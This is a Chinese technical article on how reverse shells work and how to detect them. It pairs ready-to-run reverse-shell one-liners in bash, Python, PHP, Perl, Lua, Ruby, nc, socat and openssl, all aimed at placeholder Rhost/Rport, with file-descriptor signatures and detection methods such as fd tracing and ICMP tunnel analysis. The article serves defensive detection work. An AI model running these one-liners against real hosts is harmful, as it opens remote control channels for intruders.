目录
- [反弹 Shell 的基本原理](#反弹 Shell 的基本原理)
-
- [前置知识:反弹 Shell 技术详解(一)](#前置知识:反弹 Shell 技术详解(一))
-
- [一、反弹 shell 的本质](#一、反弹 shell 的本质)
- 二、网络通信的方式
- 三、命令执行的方式
- [四、反弹 shell 分类【组合方式讨论】](#四、反弹 shell 分类【组合方式讨论】)
-
- [1. 直接重定向 shell 解释器的输入输出到 socket 类型](#1. 直接重定向 shell 解释器的输入输出到 socket 类型)
- [2. 通过管道、伪终端等中转,再重定向Shell的输入输出到中转类型](#2. 通过管道、伪终端等中转,再重定向Shell的输入输出到中转类型)
- [3. 编程语言实现标准输入中转,重定向命令执行的输入到中转](#3. 编程语言实现标准输入中转,重定向命令执行的输入到中转)
- 五、具体检测方法
-
- [1. 命令行检测](#1. 命令行检测)
- [2. 文件描述符 fd 检测](#2. 文件描述符 fd 检测)
- [3. 脚本文件 && 应用程序 && 无文件(fileless)反弹shell检测](#3. 脚本文件 && 应用程序 && 无文件(fileless)反弹shell检测)
- [4. 网络层反弹shell通信特征检测](#4. 网络层反弹shell通信特征检测)
- [5. 命令行为序列检测](#5. 命令行为序列检测)
- [6. 异常 shell 启动检测](#6. 异常 shell 启动检测)
- [7. 沙箱检测](#7. 沙箱检测)
- [8. 流量特征](#8. 流量特征)
- [9. 对抗行为检测](#9. 对抗行为检测)
- 参考资料
反弹 Shell 的基本原理
前置知识:反弹 Shell 技术详解(一)
一、反弹 shell 的本质
- 原理:控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。
- 使用 :网络通信+命令执行+重定向方式(非必须):命令执行和网络通信借助重定向,构建出一条流动的数据通道,攻击者利用这条通道下发指令控制受害服务器。
- 网络通信 实现:网络通信可以使用TCP、UDP、ICMP等协议,TCP协议再细分又可以包含HTTP、HTTPS协议等,UDP包含DNS等。
- 命令执行 实现:命令执行可以通过调用Shell解释器、Glibc库、Syscall等方式实现。
- 重定向 实现:重定向可以通过管道、成对的伪终端、内存文件等实现。
二、网络通信的方式
- 四层协议
/dev/[tcp|udp]
: 文件描述符+重定向。- 通过建立socket tcp连接实现网络通信。
- 通过ICMP协议实现网络通信。
- 七层协议
- 使用DNS实现网络通信。
三、命令执行的方式
- 通过管道符传递命令:
echo "hello" | cat
- 间接系统调用,调用 glibc api 执行系统命令。
- 直接系统调用,绕过 glibc 执行系统命令。
四、反弹 shell 分类【组合方式讨论】
- 1、直接重定向Shell解释器的输入输出到Socket类型
- 2、通过管道、伪终端等中转,再重定向Shell的输入输出到中转
- 3、编程语言实现标准输入中转,重定向命令执行的输入到中转
1. 直接重定向 shell 解释器的输入输出到 socket 类型

特征:该类型反弹Shell通过重定向bash -i的标准输入、标准输出、标准错误到/dev/tcp Socket进行网络通信。
检测思路:这类反弹Shell的检测可以通过检测Shell的标准输入、标准输出是否被重定向到Socket或检测一些简单的主机网络日志特征来实现。
举例:【Rhost 远程主机,Rport 远程主机端口】
bash -i >& /dev/tcp/Rhost/Rport 0>&1
python
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("Rhost",Rport));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("Rhost",Rport);exec("/bin/sh -i <&3 >&3 2>&3");'
perl
perl -e 'use Socket;$i="Rhost";$p=Rport;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");};'
lua
lua -e "require('socket');require('os');
t=socket.tcp();
t:connect('Rhost','Rport');
os.execute('/bin/sh -i <&3 >&3 2>&3');"
命令检查思路:
- 使用
ps
找到对应的进程,根据进程 pid 查看 fd【ps afx (f:树结构展示父子进程)】。 - 使用
ls /proc/[pid]/fd
查看文件描述符 file descriptor。
举例:
bash
lrwx------. 1 root root 64 Feb 13 16:35 0 -> socket:[1202940]
lrwx------. 1 root root 64 Feb 13 16:35 1 -> socket:[1202940]
lrwx------. 1 root root 64 Feb 13 16:35 2 -> socket:[1202940]
lrwx------. 1 root root 64 Feb 13 16:35 255 -> socket:[1202940]
lrwx------. 1 root root 64 Feb 13 18:58 0 -> socket:[29023953]
lrwx------. 1 root root 64 Feb 13 18:58 1 -> socket:[29023953]
lrwx------. 1 root root 64 Feb 13 18:58 2 -> socket:[29023953]
lrwx------. 1 root root 64 Feb 13 18:58 255 -> socket:[29023953]
lrwx------. 1 root root 64 Feb 13 18:58 5 -> socket:[29023953]

2. 通过管道、伪终端等中转,再重定向Shell的输入输出到中转类型
通过管道、伪终端等作为中转体,并与Socket打通,重定向Shell解释器的输入输出到中转体。
常见场景:
a) 管道中转
bash
nc Rhost Rport | /bin/sh | nc Rhost 5050
nc -e /bin/bash Rhost Rport
nc -c bash Rhost Rport
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:Rhost:Rport
mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc Rhost Rport > /tmp/f
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect Rhost:Rport > /tmp/s; rm /tmp/s
mknod backpipe p; nc Rhost Rport 0<backpipe | /bin/bash 1>backpipe 2>backpipe
bash -c 'exec 5<>/dev/tcp/Rhost/Rport; cat <&5 | while read line; do $line >&5 2>&1; done'
telnet 10.10.10.10 Rport | /bin/bash | telnet Rhost 5050
在某些变形的场景下,可能经过层层中转,但无论经过几层最终都会形成一条流动的数据通道。通过跟踪FD(文件描述符File Descriptor)和进程的关系可以检测该数据通道。
b) 匿名管道【不同反弹 shell 的姿势 fd 特征】
bash
exec 5
lr-x------. 1 root root 64 Feb 13 18:55 0 -> pipe:[29010305]
l-wx------. 1 root root 64 Feb 13 18:55 1 -> pipe:[29010306]
l-wx------. 1 root root 64 Feb 13 18:55 2 -> pipe:[29010306]
lrwx------. 1 root root 64 Feb 13 18:55 5 -> socket:[29011974]
nc -e
lr-x------. 1 root root 64 Feb 13 19:02 0 -> pipe:[29037897]
l-wx------. 1 root root 64 Feb 13 19:02 1 -> pipe:[29037898]
l-wx------. 1 root root 64 Feb 13 19:02 2 -> pipe:[29037898]
lrwx------. 1 root root 64 Feb 13 19:02 3 -> socket:[29039553]
l-wx------. 1 root root 64 Feb 13 19:02 5 -> pipe:[29039554]
lr-x------. 1 root root 64 Feb 13 19:02 6 -> pipe:[29039555]
nc -c
lr-x------. 1 root root 64 Feb 13 19:06 0 -> pipe:[29052945]
l-wx------. 1 root root 64 Feb 13 19:06 1 -> pipe:[29052946]
l-wx------. 1 root root 64 Feb 13 19:06 2 -> pipe:[29052946]
lrwx------. 1 root root 64 Feb 13 19:06 3 -> socket:[29054237]
l-wx------. 1 root root 64 Feb 13 19:06 5 -> pipe:[29054238]
lr-x------. 1 root root 64 Feb 13 19:06 6 -> pipe:[29054239]
ncat -e
lr-x------. 1 root root 64 Feb 13 19:06 0 -> pipe:[29052872]
l-wx------. 1 root root 64 Feb 13 19:06 1 -> pipe:[29052873]
l-wx------. 1 root root 64 Feb 13 19:06 2 -> pipe:[29052873]
lrwx------. 1 root root 64 Feb 13 19:06 3 -> socket:[29054410]
l-wx------. 1 root root 64 Feb 13 19:06 5 -> pipe:[29054411]
lr-x------. 1 root root 64 Feb 13 19:06 6 -> pipe:[29054412]
socat-EXEC
lr-x------. 1 root root 64 Feb 13 19:19 0 -> pipe:[29102002]
l-wx------. 1 root root 64 Feb 13 19:19 1 -> pipe:[29102003]
l-wx------. 1 root root 64 Feb 13 19:19 2 -> pipe:[29102003]
lrwx------. 1 root root 64 Feb 13 19:19 3 -> socket:[29105502]
lrwx------. 1 root root 64 Feb 13 19:19 4 -> socket:[29105503]
lrwx------. 1 root root 64 Feb 13 19:19 5 -> socket:[29105504]
lrwx------. 1 root root 64 Feb 13 19:19 6 -> socket:[29105505]
rcat
lr-x------. 1 root root 64 Feb 13 14:38 0 -> pipe:[318590]
l-wx------. 1 root root 64 Feb 13 14:38 1 -> pipe:[318591]
l-wx------. 1 root root 64 Feb 13 14:38 2 -> pipe:[318591]
lrwx------. 1 root root 64 Feb 13 14:38 3 -> socket:[319517]
php
lr-x------. 1 root root 64 Feb 13 16:44 0 -> pipe:[1226187]
l-wx------. 1 root root 64 Feb 13 16:44 1 -> pipe:[1226188]
l-wx------. 1 root root 64 Feb 13 16:44 2 -> pipe:[1226188]
lrwx------. 1 root root 64 Feb 13 16:44 3 -> socket:[1226491]
lr-x------. 1 root root 64 Feb 13 16:44 4 -> pipe:[1226492]
lr-x------. 1 root root 64 Feb 13 16:56 0 -> pipe:[1244376]
l-wx------. 1 root root 64 Feb 13 16:56 1 -> pipe:[1244377]
l-wx------. 1 root root 64 Feb 13 16:56 2 -> pipe:[1244377]
lrwx------. 1 root root 64 Feb 13 16:56 3 -> socket:[1244535]
bash196
lr-x------. 1 root root 64 Feb 13 18:55 0 -> pipe:[29010277]
l-wx------. 1 root root 64 Feb 13 18:55 1 -> pipe:[29010278]
lrwx------. 1 root root 64 Feb 13 18:55 196 -> socket:[29011043]
l-wx------. 1 root root 64 Feb 13 18:55 2 -> pipe:[29010278]
perl
lrwx------. 1 root root 64 Feb 13 16:36 0 -> socket:[1206445]
lrwx------. 1 root root 64 Feb 13 16:36 1 -> socket:[1206445]
l-wx------. 1 root root 64 Feb 13 16:36 2 -> pipe:[1205125]
lrwx------. 1 root root 64 Feb 13 16:36 3 -> socket:[1206445]
awk
lr-x------. 1 root root 64 Feb 13 18:38 0 -> pipe:[1543339]
l-wx------. 1 root root 64 Feb 13 18:38 1 -> pipe:[1543340]
l-wx------. 1 root root 64 Feb 13 18:38 2 -> pipe:[1543340]
lrwx------. 1 root root 64 Feb 13 18:41 3 -> socket:[2821241]
lrwx------. 1 root root 64 Feb 13 18:41 4 -> socket:[2821241]
c) 自建管道【fd(句柄)特征】
bash
nc-/tmp/f
lr-x------. 1 root root 64 Feb 13 18:58 0 -> pipe:[29024021]
l-wx------. 1 root root 64 Feb 13 18:58 1 -> /tmp/f (deleted)
l-wx------. 1 root root 64 Feb 13 18:58 2 -> pipe:[29021988]
lrwx------. 1 root root 64 Feb 13 18:58 3 -> socket:[29024022]
nc-backpipe
lr-x------. 1 root root 64 Feb 13 19:02 0 -> /root/backpipe
l-wx------. 1 root root 64 Feb 13 19:02 1 -> pipe:[29040260]
l-wx------. 1 root root 64 Feb 13 19:02 2 -> pipe:[29038076]
lrwx------. 1 root root 64 Feb 13 19:02 3 -> socket:[29040261]
telnet-$TF
lr-x------. 1 root root 64 Feb 13 14:47 0 -> /tmp/tmp.5wnXq0URfF
l-wx------. 1 root root 64 Feb 13 14:47 1 -> pipe:[326375]
l-wx------. 1 root root 64 Feb 13 14:47 2 -> pipe:[326286]
lrwx------. 1 root root 64 Feb 13 14:47 3 -> socket:[327426]
telnet-a
lr-x------. 1 root root 64 Feb 13 14:46 0 -> /root/a
l-wx------. 1 root root 64 Feb 13 14:46 1 -> pipe:[325139]
l-wx------. 1 root root 64 Feb 13 14:46 2 -> pipe:[324180]
lrwx------. 1 root root 64 Feb 13 14:46 3 -> socket:[325140]
d)伪终端中转
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Rhost",Rport));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
【pty.spawn 是 python 用于在伪终端中重新起一个进程】
通过伪终端中转与通过管道等中转原理一样,但通过伪终端中转的检测难度大大提升,单从Shell的标准输入输出来看,和正常打开的终端没有什么区别。此外,一些场景如容器、各类产品Agent等也会有相似的日志记录,平衡漏报与误报的难度上大大提升。因此我们在文件描述符合检测方案的基础上,结合进程、网络等多种日志信息综合分析;
检测思路
经过层层中转,最终会形成一条流动的数据通道。通过跟踪FD(文件描述符File Descriptor)和进程的关系可以检测该数据通道,判断是否为bash进程,获取bash父进程的/proc/[pid]/fd,判断是否有存在fd重定向到pipe或者socket情况
命令检测思路:
- 1、ps 找到对应的进程,根据进程 pid 查看 fd【ps afx (f:树结构展示父子进程)】
- 2、ls /proc/[pid]/fd (文件描述符 file descriptor)【句柄特征如上】
3. 编程语言实现标准输入中转,重定向命令执行的输入到中转
第三种类型反弹Shell通过编程语言实现标准输入的中转,然后重定向命令执行的输入到中转,标准输出和标准错误中转形式不限制。以下是该类型反弹Shell的典型示例:
python
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('Rhost',Rport))\nwhile 1: proc = subprocess.Popen(s.recv(1024), Shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
lua5.1 -e 'local host, port = "Rhost", Rport local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("Rhost","Rport");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
这类反弹 shell 的 fd 特征
bash
ruby
lr-x------. 1 root root 64 Feb 13 18:37 0 -> pipe:[1319065]
l-wx------. 1 root root 64 Feb 13 18:37 1 -> pipe:[1319066]
l-wx------. 1 root root 64 Feb 13 18:37 2 -> pipe:[1319066]
lr-x------. 1 root root 64 Feb 13 18:37 3 -> pipe:[1319358]
l-wx------. 1 root root 64 Feb 13 18:37 4 -> pipe:[1319358]
lr-x------. 1 root root 64 Feb 13 18:37 5 -> pipe:[1319359]
l-wx------. 1 root root 64 Feb 13 18:37 6 -> pipe:[1319359]
lrwx------. 1 root root 64 Feb 13 18:37 7 -> socket:[1319360]
Lua
lr-x------. 1 root root 64 Feb 13 18:41 0 -> pipe:[2720451]
l-wx------. 1 root root 64 Feb 13 18:41 1 -> pipe:[2720452]
l-wx------. 1 root root 64 Feb 13 18:41 2 -> pipe:[2720452]
lrwx------. 1 root root 64 Feb 13 18:41 3 -> socket:[2972610]
这种场景下,反弹Shell的命令执行和正常业务行为变得更加难以区分,对抗程度上升
检测思路:
这类常见可结合进程命令行特征+异常命令行为序列+异常shell启动模型
- 异常命令行为序列:通过分析命令序列与攻击者获取Shell后行为相似度来判定是否为反弹Shell
- 异常shell启动模型:结合多维度特征以及机器历史行为综合判定产出告警
五、具体检测方法
1. 命令行检测
- 检测一些常见的命令,通过命令关键字判断是否存在可疑行为。
2. 文件描述符 fd 检测
- 检测fd 是否指向一个 socket 句柄 :追踪进程的文件描述符,检查其是否连接到socket。
- 检测 fd 是否指向一个管道符 pipe :
不管做了多少层的pipe,反弹shell的本质是将server的输入传递给client的bash,因此肯定存在socket连接。我们只需要根据pid追溯pipe上游的进程,并判断其进程fd,检查是否来自一个socket。
- netlink监控+fd异常检测
- 监听Netlink Socket,实时获取进程EXEC事件。
- 如果为Shell进程,检查进程启动打开的FD,
- 打开了Socket
- 未使用/dev/tty、/dev/pts/n、/dev/ptmx等终端
- 则确认为反弹Shell
3. 脚本文件 && 应用程序 && 无文件(fileless)反弹shell检测
- 针对"通过系统bash程序实现的反弹shell"的fd监控方案,操作系统分层,Bash只是一个应用程序,除了bash之外,还可以基于任意的应用层技术来实现反弹shell:
- python/perl实现纯代码形式的反弹shell文件执行:文件脚本检测
- python/perl实现纯代码形式的反弹shell命令行指令(fileless):纯命令行fileless检测
- C/C++实现纯代码形式的反弹shell:二进制文件检测
4. 网络层反弹shell通信特征检测
- 在网络层面,可以通过NTA实时检测包含"cmdline shell特征"的数据包,例如"#root..."等。
- DNS 反弹 shell 特征检测:针对DNS流量进行分析,判断关联进程是否开启/dev/net/tun,或者/dev/net/tap隧道等。
- ICMP 反弹 shell 特征检测 :
根据正常ping产生的数据包特点,
- 每秒发送的数据包个数比较少,通常每秒最多只会发送两个数据包;
- 请求数据包与对应的响应数据包内容一样;
- 数据包中payload的大小固定,windows下为32bytes,linux下为48bytes;
- 数据包中payload的内容固定,如果指定ping发送的长度,则为不断重复的固定字符串
□ windows下为:abcdefghijklmnopqrstuvwabcdefghi,
□ linux下为:!"#$%&'()+,-./01234567,; - type类型只有2种,0和8。0为请求数据,8为响应数据。
对于ICMP隧道产生的数据,有以下特点:
使用 icmpsh 工具进行反弹 shell 截图
- 每秒发送的数据包个数比较多,在同一时间会产生成百上千个 ICMP 数据包;
- 请求数据包与对应的响应数据包内容不一样;
- 数据包中payload的大小可以是任意大小;
- 存在一些type为13,15,17的带payload的畸形数据包;
- 个别ICMP隧道工具产生的数据包内容前面会增加 'TUNL' 标记以用于识别隧道。
因此,根据正常ping和ICMP隧道产生的数据包的特点,可以通过以下几点特征检测ICMP隧道:
检测同一来源数据包的数量。正常ping每秒只会发送2个数据包,而ICMP隧道可以每秒发送很多个;
- 检测数据包中 payload 的大小。正常ping产生的数据包payload的大小为固定,而ICMP隧道数据包大小可以任意;
- 检测响应数据包中 payload跟请求数据包是否不一致。正常ping产生的数据包请求响应内容一致,而ICMP隧道请求响应数据包可以一致,也可以不一致;
- 检测数据包中payload 的内容。正常ping产生的payload为固定字符串,ICMP隧道的payload可以为任意;
- 检测 ICMP数据包的type是否为0和8。正常ping产生的带payload的数据包,type只有0和8,ICMP隧道的type可以为13,15,17。
一套编程的检测编逻辑实现参考
5. 命令行为序列检测
- 检测反弹 shell 后渗透利用行为。
6. 异常 shell 启动检测
- 通过感知 shell 启动事件,辅助提升检查效果。
7. 沙箱检测
- 脚本沙箱
- 落盘脚本文件: 检测的语言包括但不限于Bash、Python、Perl、Vbs、PowerShell、Bat、JAR等。
- 混淆类样本: 动态解混淆后进行检测。
- JAR打包类文件: 进行静态反编译并结合动态运行进行多维度判定。
- 无文件攻击: 命令序列分析。
- 二进制沙箱
- 对于C/C++、Go、MeterPreter Shellcode等二进制反弹Shell开发方式进行了特殊识别和处理,结合导入函数特征、代码特征、二进制在沙箱中的动态行为特征等多个维度进行检测。
8. 流量特征
- 使用常见Shell通信特征辅助提升反弹Shell检测效果。
9. 对抗行为检测
- 针对常见绕过方式,如替换系统Shell、命令编码等,作为辅助手段提升检测效果。
参考资料
- PayloadsAllTheThings
- Detect a Reverse Shell
- 先知社区文档
- 阿里云检测文档
- seesaw工具
- 在线反弹 shell 工具
- shellerator工具
- explainshell在线工具
by 久违
20250313